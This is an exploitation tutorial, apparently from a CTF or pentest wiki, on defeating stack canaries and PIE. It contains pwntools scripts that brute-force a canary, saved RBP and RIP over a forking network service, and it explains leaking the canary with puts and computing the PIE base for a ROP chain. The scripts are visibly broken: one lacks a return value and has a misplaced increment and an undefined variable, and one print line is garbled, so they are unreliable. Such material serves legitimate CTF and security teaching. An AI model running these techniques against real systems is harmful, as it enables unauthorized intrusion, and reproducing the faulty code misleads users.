Bypassing Canary & PIE

If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.

Note that checksec might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function. However, you can manually notice this if you find that a value is saved in the stack at the begging of a function call and this value is checked before exiting.

Brute force Canary

The best way to bypass a simple canary is if the binary is a program forking child processes every time you establish a new connection with it (network service), because every time you connect to it the same canary will be used.

Then, the best way to bypass the canary is just to brute-force it char by char, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function brute-forces an 8 Bytes canary (x64) and distinguish between a correct guessed byte and a bad byte just checking if a response is sent back by the server (another way in other situation could be using a try/except):

Example 1

This example is implemented for 64bits but could be easily implemented for 32 bits.

from pwn import *

def connect():
    r = remote("localhost", 8788)

def get_bf(base):
    canary = ""
    guess = 0x0
    base += canary

    while len(canary) < 8:
        while guess != 0xff:
            r = connect()

            r.recvuntil("Username: ")
            r.send(base + chr(guess))

            if "SOME OUTPUT" in r.clean():
                print "Guessed correct byte:", format(guess, '02x')
                canary += chr(guess)
                base += chr(guess)
                guess = 0x0
                guess += 1

    print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
    return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Example 2

This is implemented for 32 bits, but this could be easily changed to 64bits. Also note that for this example the program expected first a byte to indicate the size of the input and the payload.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
    known_canary = b""
    test_canary = 0x0
    len_bytes_to_read = 0x21

    for j in range(0, 4):
        # Iterate up to 0xff times to brute force all posible values for byte
        for test_canary in range(0xff):
            print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

            # Send the current input size
            target.send(len_bytes_to_read.to_bytes(1, "little"))

            # Send this iterations canary
            target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

            # Scan in the output, determine if we have a correct value
            output = target.recvuntil(b"exit.")
            if b"YUM" in output:
                # If we have a correct value, record the canary value, reset the canary value, and move on
                print(" - next byte is: " + hex(test_canary))
                known_canary = known_canary + test_canary.to_bytes(1, "little")
                len_bytes_to_read += 1

    # Return the canary
    return known_canary

# Start the target process
target = process('./feedme')

# Brute force the canary
canary = breakCanary()"The canary is: {canary}")

Another way to bypass the canary is to print it. Imagine a situation where a program vulnerable to stack overflow can execute a puts function pointing to part of the stack overflow. The attacker knows that the first byte of the canary is a null byte (\x00) and the rest of the canary are random bytes. Then, the attacker may create an overflow that overwrites the stack until just the first byte of the canary. Then, the attacker calls the puts functionality on the middle of the payload which will print all the canary (except from the first null byte). With this info the attacker can craft and send a new attack knowing the canary (in the same program session)

Obviously, this tactic is very restricted as the attacker needs to be able to print the content of his payload to exfiltrate the canary and then be able to create a new payload (in the same program session) and send the real buffer overflow. CTF example:


In order to bypass the PIE you need to leak some address. And if the binary is not leaking any addresses the best to do it is to brute-force the RBP and RIP saved in the stack in the vulnerable function. For example, if a binary is protected using both a canary and PIE, you can start brute-forcing the canary, then the next 8 Bytes (x64) will be the saved RBP and the next 8 Bytes will be the saved RIP.

To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The same function as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:

print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Get base address

The last thing you need to defeat the PIE is to calculate useful addresses from the leaked addresses: the RBP and the RIP.

From the RBP you can calculate where are you writing your shell in the stack. This can be very useful to know where are you going to write the string "/bin/sh\x00" inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a breakpoint after leaking the RBP an check where is your shellcode located, then, you can calculate the distance between the shellcode and the RBP:


From the RIP you can calculate the base address of the PIE binary which is what you are going to need to create a valid ROP chain. To calculate the base address just do objdump -d vunbinary and check the disassemble latest addresses:

In that example you can see that only 1 Byte and a half is needed to locate all the code, then, the base address in this situation will be the leaked RIP but finishing on "000". For example if you leaked 0x562002970ecf the base address is 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Last updated